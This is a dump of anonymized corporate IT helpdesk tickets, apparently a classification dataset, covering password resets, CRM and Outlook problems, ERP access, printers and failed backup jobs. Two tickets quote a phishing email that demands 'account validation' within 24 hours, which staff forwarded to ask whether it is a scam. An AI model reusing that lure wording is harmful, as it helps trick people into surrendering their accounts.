summary:can you help me set up a crm tab in my outlook ribbon?, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_865520, Description: ticket update on inplant\_865520, is assigned to Assignment group: GRP\_0.Ticket with Short description: audio issue : windows audio issue ; 7350, Description: audio issue : windows audio issue ; 7350, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_865554, Description: ticket update on inplant\_865554, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset from password\_management\_tool, Description: password reset from password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: insufficient permissions on web crm, Description: insufficient permissions on web crm, is assigned to Assignment group: GRP\_22.Ticket with Short description: company distributor\_tool is messed up. i enter through engineering\_tool. it will not provide quote. error " no ship-to for account entered, Description: does not matheywter which account number i use. major inconvenience, is assigned to Assignment group: GRP\_21.Ticket with Short description: ms crm dynamics : outlook issue, Description:
summary:i need to have the crm tab added to my computer, is assigned to Assignment group: GRP\_0.Ticket with Short description: a solution is needed to find a permanent fix to be able to use memotech., Description: a solution is needed to find a permanent fix to be able to use memotech.\_x000D\_
\_x000D\_
add ken.mstipsolutions.com" to compatibility list, is assigned to Assignment group: GRP\_39.Ticket with Short description: reset the password for constance m wgtyillsford on erp / production / bw, Description: reset the password for constance m wgtyillsford on erp / production / bw, is assigned to Assignment group: GRP\_0.Ticket with Short description: euromote entry error, Description: \_x000D\_
\_x000D\_
received from: brhlcpqv.sfozwkyx@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
could you please help me on entering the euromote to open erp from my personel wireless.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35b63.2c18a2d0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent, Description:
received from: uezonywf.rldbvipu@gmail.com
after password change can't sign in to skype on dell 2 in 1. this has happened before and requires it to access my computer and delete files.
tommyth duyhurmont
channel partner sales engineer
company inc.
uezonywf.rldbvipu@gmail.com<mailto:uezonywf.rldbvipu@gmail.com>
www.company.com<
[
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_865534, Description: ticket update on inplant\_865534, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 1 // finance\_vip1 is unable to approve an expense report as its not showing in worklist , Description: from: lpoebzsc grknswyo
sent: friday, september 30, 2016 11:32 pm
to: nwfodmhc exurcwkm
subject: fw: expense report 8111118921 has been submitted.
good afternoon. i tried entering an expense report for martha bank. i sent it for finance\_vip1' approval and it is not showing up in his worklist.
i recently began supporting finance\_vip1 and his team about a month ago. perhaps something needs to be updated in the system for me to be able enter expense reports on their behalf?
in the past when i have had issues with ess, i contacted kyefsrjc eadmpzcn, however he is on vacation today.
your assistance in this matheywter is greatly appreciated.
, is assigned to Assignment group: GRP\_10.Ticket with Short description: back up tape still is not ejecting., Description: back up tape not ejected today. unable to switch out tapes. previously switched them daily., is assigned to Assignment group: GRP\_12.Ticket with Short description: rma #6001504109, Description: rma #7112615210\_x000D\_
\_x000D\_
workflow error rma needs to be processed before end of today, is assigned to Assignment group: GRP\_13.Ticket with Short description: unable to access engineering\_tool, Description: \_x000D\_
\_x000D\_
received from: vewdsifl.zjdmftkv@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
unable to access engineering\_tool\_x000D\_
following error message shown\_x000D\_
[cid:image001.jpg@01SID\_35b73.de8a24b0]\_x000D\_
request support to resolve\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vitalyst // crm configuration in outlook, Description: vitalyst // crm configuration in outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to windows to update password on password\_management\_tool, Description: unable to log in to windows to update password on password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: ms crm dynamics issue, Description:
summary:i have lost the crm ribbon in outlook., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset, Description: erp SID\_34 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bwsdslspln failed in job\_scheduler at: 09/30/2016 13:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwsdslspln failed in job\_scheduler at: 09/30/2016 13:15:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad all fine\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: :i am unable to "port.crm.dynamics.com", Description: name:zdcheloy aevzsogn
language:
browser:microsoft internet explorer
email:zdcheloy.aevzsogn@gmail.com
customer number:
telephone:
summary:i am unable to "port.crm.dynamics.com", is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to distributor\_tool as password expired, Description: unable to login to distributor\_tool as password expired, is assigned to Assignment group: GRP\_0.Ticket with Short description: company mobile device activation., Description: company mobile device activation, is assigned to Assignment group: GRP\_0.Ticket with Short description: user "kehtxprg uekapfzt" is not able to access erp SID\_34 , Description: hi team, \_x000D\_
\_x000D\_
need your help!\_x000D\_
\_x000D\_
request you to check as user "kehtxprg uekapfzt" is not able to access erp SID\_34 in turn which is blocking him to approve pr. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: audio driver issue , Description:
summary:hello,
my pc is formatheywted by local it but there is no sound.i think audio driver is not installed properly.could you help me ?, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset request, Description: password reset request, is assigned to Assignment group: GRP\_0.Ticket with Short description: SID\_34 password reset, Description: name:mityhuch ervuyin
language:
browser:microsoft internet explorer
email:rlmbxeso.ulmkxdfi@gmail.com
customer number:
telephone:
summary:i cannot log into netweaver, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool access query , Description: engineering\_tool access query , is assigned to Assignment group: GRP\_0.Ticket with Short description: dba team - disk space for engg dba is full, can not create safety data sheets any more, Description: i figured out that i can not create any new sds any more. this is on the production system
the engg experts came back with the following issue:
hi ,
the drive where the engg prod db lives on is full. the dba's have to make it bigger.
so, it's just a matheywter of having enough disk space.
can you let them know?
, is assigned to Assignment group: GRP\_12.Ticket with Short description: ooo until 5/oct/ : \\HostName\_771\teams\materials, Description: ooo until 5/oct/\_x000D\_
\_x000D\_
received from: zxobmreq.udikorhv@gmail.com\_x000D\_
\_x000D\_
need access to \\HostName\_771\teams\materials<file:///\\HostName\_771\teams\materials>, on my computer system.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password and engineering tool, Description: \_x000D\_
\_x000D\_
received from: peojqgvm.qayeptuo@gmail.com\_x000D\_
\_x000D\_
i have let my password expire and need help getting back into our systems.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: please delete the transport SID\_35k910404, Description: delete the transport from the buffer SID\_35k910404, is assigned to Assignment group: GRP\_14.Ticket with Short description: abap report zsd\_price\_field\_update update for rqfhiong zkwfqagb fields not working for me., Description: please note that i am receiving an error message when trying to update rqfhiong zkwfqagb fields when using the zsd\_price\_field\_update abap programdnty. please see screenshots of error message. i have also attached the uacyltoe hxgaycze file that i was uploading. i am able to change the material pricing group through transaction mm02. therefore, i don't think that it is a security problem., is assigned to Assignment group: GRP\_13.Ticket with Short description: crm app , Description:
received from: vybmcrxo.kirxdspz@gmail.com
hello,
trying to load the mobile crm app on iphone and while trying to run, putting in the "we're sorry your server is not available or does not support this application"
vybmcrxo kirxdspz
applications engineer
vybmcrxo.kirxdspz@gmail.com<mailto:vybmcrxo.kirxdspz@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot access \\HostName\_779\engineering\_application from vpn.company using vvblothryor - inc1553079 closed not fixed, Description: cannot access \\HostName\_779\engineering\_application from vpn.company using vvbloor - inc1553079 closed not fixed. please do not assign to vidya. computer lbdl8513228 can access the \\HostName\_779\engineering\_application using other sign-ons. dudekm signed onto the computer and it works. vvbloor can sign-on to the computer and use dudekm to sign-on to the vpn and it works. it does not work when vvbloor signs-on to the vpn. vvblorytor can access other servers HostName\_776, HostName\_768. just cannot access HostName\_779., is assigned to Assignment group: GRP\_12.Ticket with Short description: travel\_tool, Description:
received from: zdcheloy.aevzsogn@gmail.com
my manager was changed to mhtyike szumyhtulas in july but my travel is still going to my previous manager qvhixotw rxutkyha. i tried to change in travel\_tool but it is greyed out. can this be changed to correct manager?
zdcheloy aevzsogn
manager, business operational excellence
zdcheloy.aevzsogn@gmail.com<mailto:zdcheloy.aevzsogn@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: help with files engineering\_tool - error, Description: hi team, \_x000D\_
\_x000D\_
could you please, help user urgapyzt tnxiuramdnty to open files the engineering\_tool (engineering\_tool).\_x000D\_
\_x000D\_
he did downloaded the file in site \_x000D\_
"error the verification (name\_file).ktr. the file is with error". \_x000D\_
\_x000D\_
this message appears to all files the site. in attachment i'm including the screen with error and the file .zip.\_x000D\_
\_x000D\_
let me know if you have more doubts, you can contact with user. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: unable to login to pc, Description: windows account locked out., is assigned to Assignment group: GRP\_0.Ticket with Short description: logon balancing error in erp , Description: logon balancing error in erp , is assigned to Assignment group: GRP\_0.Ticket with Short description: login to citrix tro access erp ; vvparthyrra : password change request from manager, Description: login to citrix tro access erp ; vvparthyrra : password change request from manager, is assigned to Assignment group: GRP\_0.Ticket with Short description: laptop not booting up, Description: qksrtvzb vjkftuai said that he spilled some coffee on his laptop yesterday and since then the machine is not booting up and he wants to get this checked and replaced if necessary., is assigned to Assignment group: GRP\_3.Ticket with Short description: please create an rma# for the nov-tx return. , Description: please see attachments., is assigned to Assignment group: GRP\_13.Ticket with Short description: ticket update , Description: ticket update , is assigned to Assignment group: GRP\_0.Ticket with Short description: extend the account - vvnewthey - urgent, Description: account has expired on september 29th\_x000D\_
need to extend the account until the end of the year.\_x000D\_
\_x000D\_
need this done as soon as possible, as the employee is assisting with tasks that are related to an employee who is leaving the company today.\_x000D\_
please expedite., is assigned to Assignment group: GRP\_2.Ticket with Short description: ms crm dymanics : giving error message while loading outlook, Description: ms crm dymanics : giving error message while loading outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: need an update on inplant\_865235, Description: need an update on inplant\_865235, is assigned to Assignment group: GRP\_0.Ticket with Short description: synchronization log mails after accepting calendar invite , Description: synchronization log mails after accepting calendar invite , is assigned to Assignment group: GRP\_0.Ticket with Short description: infopath installation , Description: infopath installation , is assigned to Assignment group: GRP\_0.Ticket with Short description: phishing emails uacyltoe hxgaycze query , Description: phishing emails uacyltoe hxgaycze query , is assigned to Assignment group: GRP\_0.Ticket with Short description: [usa] order not moving to to-do list 5 hours after confirmations, Description: please see attached ppt, op 20 is confirmed but order is not showing up in op 25's to-do list even after 5 hours. (both ops are in same work center)\_x000D\_
my understanding is that the background job runs every 15 minutes, is assigned to Assignment group: GRP\_41.Ticket with Short description: printer driver not loading properly, Description: usa bd05 printer says it needs drivers updated, but continually fails to update or allow printing., is assigned to Assignment group: GRP\_3.Ticket with Short description: engineering tool, Description: i am experiencing a reoccurring issue with my erp/engineering tool. i am not able to display original files (pdf's and stp's). this is a major function in my role and unable to complete any work unless it is resolved. this issue occurs every time an upgrade occurs to erp or engineering tool.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: spam email, Description: from: vkzwafuh tcjnuswg
sent: friday, september 30, 2016 6:20 pm
to: nwfodmhc exurcwkm
subject: amar fw: you must validate your account
hi,
is this a legitimate email or a scam?
vkzwafuh tcjnuswg - cmp
sr. application eng.
vkzwafuh.tcjnuswg@gmail.com
from: cyber-crime dept [mailto:cybercrime@secure.safe-browsing.com]
sent: friday, september 30, 2016 3:33 am
to: vkzwafuh tcjnuswg <vkzwafuh.tcjnuswg@gmail.com>
subject: you must validate your account
dear mail user,
as part of the security measures to secure all email users across the world, all email users are mandated to have their account details registered as requested by the cyber-crime dept.
you are here by required to validate your account within 24 hours so as not to have your email account suspended and deleted from the world email server.
kindly validate your email account to have your account registered, please click here.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: need tc48 printer set up, Description: i am trying to connect to network printer tc48 located in the tech. center. my computer is having issues finding the correct driver to link to the printer. please assist, , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook calendar invite issue, Description: outloook calendar invites are automatically creating multiple meeting requests when a single meeting entry is sent. causing issues for customers internal and external by filling inboxes with multiple invites for same meeting and resending invite every day up to the meeting and causing confusion. please advise help aerp. , is assigned to Assignment group: GRP\_0.Ticket with Short description: computer in tool and cutter is down, Description: computer in tool and cutter is down, is assigned to Assignment group: GRP\_3.Ticket with Short description: anmelden bei outlook nicht mÃ¶glich, Description: anmelden bei outlook seit passwort Ã¤ndern nicht mÃ¶glich
tel: , is assigned to Assignment group: GRP\_42.Ticket with Short description: adding shared mailbox to outlook, Description: adding shared mailbox to outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: workcenter description showing user ids, Description: issue reported from us\_plant. please see attached picture, is assigned to Assignment group: GRP\_41.Ticket with Short description: company center- passwords do not work---- need fixed aerp, Description: hi, i created accounts in company center and they aren't working. can someone please call me as soon as possible? it would be great if the person who contacts me has access to active directory because i think this may be the problem. , is assigned to Assignment group: GRP\_2.Ticket with Short description: account got locked, Description: account got locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool install request, Description: non company pc - windows 8.1 operating system - surthryr stahyru, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to load outlook , Description: unable to load outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: need to retrieve deleted emails, Description: need to retrieve deleted emails, is assigned to Assignment group: GRP\_0.Ticket with Short description: z\_chk issue del# 9169472003 , Description: hello,\_x000D\_
\_x000D\_
\_x000D\_
we are facing an issue of the below screen shot. please help us how to resolve this issue. we are very urgent to complete this stragiht away.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_18.Ticket with Short description: remote SID\_1 connection open for oss 344427 / 2016 , Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_1\_x000D\_
\_x000D\_
enter user id of user having the issue: vv344427 and please copy the same roles of kawtidthry.\_x000D\_
\_x000D\_
transaction code(s) the user needs or was working with: va23 \_x000D\_
\_x000D\_
describe the issue: please open the SID\_1 connection to erp and provide remote login data to erp.\_x000D\_
\_x000D\_
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.\_x000D\_
\_x000D\_
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: india:high latency/packet drops:telecom\_vendor\_1 sr:25128965 & 25132562 , Description: india:high latency/packet drops, is assigned to Assignment group: GRP\_8.Ticket with Short description: hello please urgently fix! mwstã€€errorã€‚ã€‚ã€‚ mm7218674 best regards., Description: hello\_x000D\_
\_x000D\_
please urgently fix!\_x000D\_
\_x000D\_
mwstã€€errorã€‚ã€‚ã€‚\_x000D\_
\_x000D\_
mm7218674\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_13.Ticket with Short description: probleme mit drucken \vermessungsmaschine fÃ¼r stÃ¤be \eaodcgsw trmzwbyc, Description: probleme mit drucken \vermessungsmaschine fÃ¼r stÃ¤be \eaodcgsw trmzwbyc, is assigned to Assignment group: GRP\_24.Ticket with Short description: support fÃ¼r alicona \jionmpsf wnkpzcmv, Description: support fÃ¼r alicona \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: error when qualifying lead by user prarthyr jhr, Description: refer email sent, is assigned to Assignment group: GRP\_40.Ticket with Short description: restart the company service in HostName\_1041, Description: restart the company service in HostName\_1041, is assigned to Assignment group: GRP\_8.Ticket with Short description: fw: you must validate your account, Description: dear it help,\_x000D\_
\_x000D\_
i got below email, what should i do? is it corporate instruction or external party which no need to follow. \_x000D\_
\_x000D\_
please advice.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: call for ecwtrjnq jpecxuty, Description: call for ecwtrjnq jpecxuty, is assigned to Assignment group: GRP\_0.Ticket with Short description: german call, Description: german call, is assigned to Assignment group: GRP\_0.Ticket with Short description: need addiitional software and email settings checked., Description: from: wykigmnz wvdgopybrumugam
sent: 06 september 2016 17:21
to: mgyhnsat aswubnyd
cc: sridthshar herytur; mvfnbces urbckxna1; dargthya jayartheuy; amihtar lalthy; tcqpyuei becoxvqkahadikar; jayatramdntydba cvyg
subject: re: old laptop e-6410 or e- 6420
dear mr.,
i am started using the new laptop & the following issue facing.
s no requirement / problem remarkhtys
1 csm module not working properly
2 wrench\_engineering\_toolent software not available
3 fanuc ladder software not available
4 in mail, some option not working properly
5 dwg true viewer software required
please do the needful.
best , is assigned to Assignment group: GRP\_19.Ticket with Short description: log on balancing error., Description: log on balancing error., is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update inplant\_862430, Description: ticket update inplant\_862430, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool not working, Description: \_x000D\_
\_x000D\_
received from: ftsqkvre.bqzrupic@gmail.com\_x000D\_
\_x000D\_
dear sir\_x000D\_
\_x000D\_
ivohcdpw ixcanwbm is not able to access his engineering tool. he has requested for help also from it but till date nothing has moved ahead. please help nthryitin to get access to engineering tool and install the same at earliest.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: german call, Description: german call, is assigned to Assignment group: GRP\_0.Ticket with Short description: drucker em26 druckt mit bis zu 2 std. verzÃ¶gerung (printer can not be pinged. see attachment), Description: drucker em26 druckt mit bis zu 2 std. verzÃ¶gerung \_x000D\_
wird von pc eemw8144218 aus gedruckt ce ap messecke\_x000D\_
\_x000D\_
â€¢ printer name / make - model? (ex hq50 â€“ wy98 - hp 8150) : em26\_x000D\_
â€¢ detailed description of the problem ? : printer takes too long time to print. error :' 49.ff04 error. turn off then on' . the printer is restarted a couple of times. does not help. printer can not be pinged. (see attachment) it looks like it's a non existing printer.\_x000D\_
\_x000D\_
â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) : data from access datenbank, excel\_x000D\_
(inwarehouse\_tool â€“ delivery note â€“ production orderâ€¦etc)\_x000D\_
â€¢ what system or application being used at time of the problem? (ex windows / erp /kls) : windows, is assigned to Assignment group: GRP\_42.Ticket with Short description: info type '0017' is missing to personal numbers 5264454, 5634451 & 5659454, Description: from: lmwohkbd ucziatex
sent: friday, september 30, 2016 11:42 am
to: nyifqpmv kfirxjag
subject: aw: travel expense manager
hello
transaktion â€žpr05" also doesn't work for personal no's 56595674 and 5634561.
mit freundlichen grÃ¼ÃŸen
lmwohkbd ucziatex
programdnty engineering europe
lmwohkbd.ucziatex@gmail.com
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx, naruedlk mpvhakdq
von: lmwohkbd ucziatex
gesendet: freitag, 30. september 2016 08:03
an: nyifqpmv kfirxjag <nmtszgbr.wnthvqgm@gmail.com>
betreff: travel expense manager
hello
â€žtravel expense manager" doesn't work!
mit freundlichen grÃ¼ÃŸen
lmwohkbd ucziatex
programdnty engineering europe
lmwohkbd.ucziatex@gmail.com
, is assigned to Assignment group: GRP\_10.Ticket with Short description: vpn access for elcpduzg eujpstxi (graurkart), Description: \_x000D\_
\_x000D\_
received from: fbyusmxz.kxvmcbly@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please set up vpn access for elcpduzg eujpstxi (graurkart).\_x000D\_
rudolf has a kennmetal owned laptop eeml703222\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook was not accepting password, Description: user change the password through vpn.\_x000D\_
user was getting a password prompt., is assigned to Assignment group: GRP\_0.Ticket with Short description: script jb\_ecc\_bw\_zsd531 to pull august 2016 month data and revert back to delta extraction., Description: we are in the process of refreshing history in rr. we need to modify bobj script jb\_ecc\_bw\_zsd531 to pull august 2016 month new pricing sales data from zsd532 by giving date range. we need to move the changes to production and extract the data today itself. once the data is extracted, we will revert back the programdnty jb\_ecc\_bw\_zsd531 to extract delta data., is assigned to Assignment group: GRP\_20.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 09/30/2016 04:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 09/30/2016 04:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: probleme mit skype und outlook \ user :dardabthyr, Description: probleme mit skype und outlook \ user :dardabthyr, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit skype und outlook \dardabthyr, Description: probleme mit skype und outlook \dardabthyr, is assigned to Assignment group: GRP\_0.Ticket with Short description: kannst du bitte noch mal 2 usb-sticks 16 gb besorgen bei uns ist wieder einer kaputt gegangen, Description: kannst du bitte noch mal 2 usb-sticks 16 gb besorgen bei uns ist wieder einer kaputt gegangen, is assigned to Assignment group: GRP\_24.Ticket with Short description: unser kopierer we 95 (hp laserjet) zeigt fehlermeldung â€žtransfereinheit fehlt" an., Description: unser kopierer we 95 (hp laserjet) zeigt fehlermeldung â€žtransfereinheit fehlt" an., is assigned to Assignment group: GRP\_24.Ticket with Short description: erp access issue : refrence to oss 337622 / 2016 , Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_1
enter user id of user having the issue: vv337622
transaction code(s) the user needs or was working with: va01 & please copy the roles of user id kawtidthry.
describe the issue: please provide remote login credentials and update in oss secure connection area.
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: ir posting error\_urgently, Description: \_x000D\_
\_x000D\_
received from: tkjypfze.jxompytk@gmail.com\_x000D\_
\_x000D\_
hi team,\_x000D\_
\_x000D\_
kindly create a ticket and assign it to me\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_10.Ticket with Short description: enterprise scanner is freezing. , Description: enterprise scanner is freezing.
telephone:, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bk\_biaprod failed in job\_scheduler at: 09/30/2016 03:47:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
[major] from: bma@HostName\_1304.hq.company.com "lib6\_drive4" time: 9/30/2016 3:45:46 am\_x000D\_
[90:51] /dev/rmt35.1\_x000D\_
cannot write to device ([5] i/o error)\_x000D\_
\_x000D\_
job bk\_biaprod failed in job\_scheduler at: 09/30/2016 03:47:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ir posting error\_urgently, Description: \_x000D\_
\_x000D\_
received from: ihfkwzjd.erbxoyqk@gmail.com\_x000D\_
\_x000D\_
dear it team\_x000D\_
\_x000D\_
kindly fixed it transaction error as below within 30/9/19 to avoid difference for intercompany reconciliation.\_x000D\_
\_x000D\_
\_x000D\_
1. ir transaction has not been posted.\_x000D\_
[cid:image003.jpg@01SID\_35b29.6f9d3af0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
2. duplicate ir transaction.\_x000D\_
[cid:image006.jpg@01SID\_35b29.6f9d3af0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_10.Ticket with Short description: vpnå®‰è£…-è½¬è´ºæ­£å¹³, Description:
received from: tuqrvowp.fxmzkvqo@gmail.com
è¯·å¸®å¿™å®‰è£…vpnè½¯ä»¶ï¼Œ è½¬è´ºæ­£å¹³
tuqrvowp fxmzkvqo é’±å”é‘«
human resources
tuqrvowp.fxmzkvqo@gmail.com<mailto:tuqrvowp.fxmzkvqo@gmail.com>
ä¸Šæµ·å‡é˜³è¶…å¾®ç²‰æœ‰é™å…¬å¸
ä¸Šæµ·å¸‚å¥‰è´¤åŒºé™ˆæ¡¥è·¯1508å·
é‚®ç¼–ï¼š201400
, is assigned to Assignment group: GRP\_30.Ticket with Short description: job Job\_2645 failed in job\_scheduler at: 09/30/2016 03:35:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2645 failed in job\_scheduler at: 09/30/2016 03:35:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: please approve primary email of jeknosml gkcoltsy in ms crm, Description: hello\_x000D\_
please approve primary email of jeknosml gkcoltsy in ms crm prod and train. email: jeknosml.gkcoltsy@gmail.com\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: "po not created", Description: \_x000D\_
\_x000D\_
received from: vhlepcta.lqbgcxpt@gmail.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
could you please check the error and help us? we cannot create the inwarehouse\_tool for this delivery for 3 months because of this error and it cannot be solved.\_x000D\_
\_x000D\_
your urgent support is needed.\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: erp is very slow, please resolve the issue on urgent basis., Description: \_x000D\_
\_x000D\_
received from: ohdrnswl.rezuibdt@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
erp is very slow, please resolve the issue on urgent basis.\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: i have lost my access to reporting\_tool in crm as per notes below , Description: from: dthyan matheywtyuews
sent: thursday, september 29, 2016 6:26 pm
to: nwfodmhc exurcwkm
subject: sabrthy fw: synchronization log:
importance: high
i have lost my access to reporting\_tool in crm as per notes below
dthyan matheywtyuews
sales manager gl2
oetlgbfw.bsctrnwp@gmail.com
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
from: dthyan matheywtyuews
sent: thursday, september 29, 2016 8:23 am
to: dthyan matheywtyuews <oetlgbfw.bsctrnwp@gmail.com>
subject: synchronization log:
importance: high
8:22:28 synchronizer version 16.0.6741
8:22:28 synchronizing mailbox 'dthyan matheywtyuews'
8:22:28 synchronizing hierarchy
8:22:29 synchronizing local changes in folder 'calendar'
8:22:29 uploading to server '
8:22:30 1 view(s)/form(s) updated in online folder
8:22:30 synchronizing local changes in folder 'inbox'
8:22:30 uploading to server '
8:22:31 1 view(s)/form(s) updated in online folder
8:22:31 downloading from server '
8:22:31 1 item(s) changed read-state in offline folder
8:22:31 synchronizing local changes in folder 'contacts'
8:22:31 uploading to server '
8:22:32 1 view(s)/form(s) updated in online folder
8:22:32 synchronizing local changes in folder 'tasks'
8:22:32 uploading to server '
8:22:33 1 view(s)/form(s) updated in online folder
8:22:35 synchronizing server changes in folder 'russ hall - calendar'
8:22:35 downloading from server '
8:22:35 error synchronizing folder
8:22:35 [91181116-508-91181116-560]
8:22:35 you do not have sufficient permission to perform this operation on this object. see the folder contact or your system administrator.
8:22:35 microsoft exchange information store
8:22:35 for more information on this failure, click the url below:
8:22:35
8:22:35 done
8:22:59 microsoft exchange offline address book
8:22:59 download successful
, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not starting , Description: outlook not starting , is assigned to Assignment group: GRP\_0.Ticket with Short description: frequent account lock out., Description: user : wothyehre is locked out every day., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to distributor\_tool, Description: benoittry is unable to login to distributor\_tool. waiting to see if one of the previous passwords (passwords used in erp) was used while resetting in password\_management\_tool., is assigned to Assignment group: GRP\_0.Ticket with Short description: need help in changing password in password\_management\_tool password manager, Description: need help in changing password in password\_management\_tool password manager, is assigned to Assignment group: GRP\_34.Ticket with Short description: need developer display access for user uacyltoe hxgayczecp1 in SID\_29 system , Description: need developer display access for user uacyltoe hxgayczecp1 in SID\_29 system, is assigned to Assignment group: GRP\_2.Ticket with Short description: outlook issues, Description: \_x000D\_
\_x000D\_
received from: jmvnxtgc.kvhxntqp@gmail.com\_x000D\_
\_x000D\_
encountring outlook issues.\_x000D\_
cannot open from pc\_x000D\_
urgent.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: issue in engineering tool, Description: \_x000D\_
\_x000D\_
received from: eakhgxbw.pfyadjmb@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
\_x000D\_
i was trying to upload engineering\_tool in system. after loading all the details for price, drill details engineering\_tool is saved. below is the screen shot which show all details filled.\_x000D\_
\_x000D\_
but i am trying to upload this engineering\_tool on server faced an error ,for which screen shot is attached. pl look into this pl resolve this immediately.\_x000D\_
\_x000D\_
all details filled for pricing in uacyltoe hxgaycze sites.\_x000D\_
\_x000D\_
[cid:image009.jpg@01SID\_35b03.7527cc40]\_x000D\_
\_x000D\_
screen shot for error.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image013.jpg@01SID\_35b03.7527cc40]\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: reset passwords for fkuqjwit jgcsaqzi using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: job bkbackup\_tool\_reporting\_tool\_prod\_inc failed in job\_scheduler at: 09/30/2016 00:08:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
9/30/2016 12:02:31 am :: error: channelerror: connectionreset \_x000D\_
\_x000D\_
job bkbackup\_tool\_reporting\_tool\_prod\_inc failed in job\_scheduler at: 09/30/2016 00:08:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bkbackup\_tool\_HostName\_771\_prod\_full failed in job\_scheduler at: 09/29/2016 23:56:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
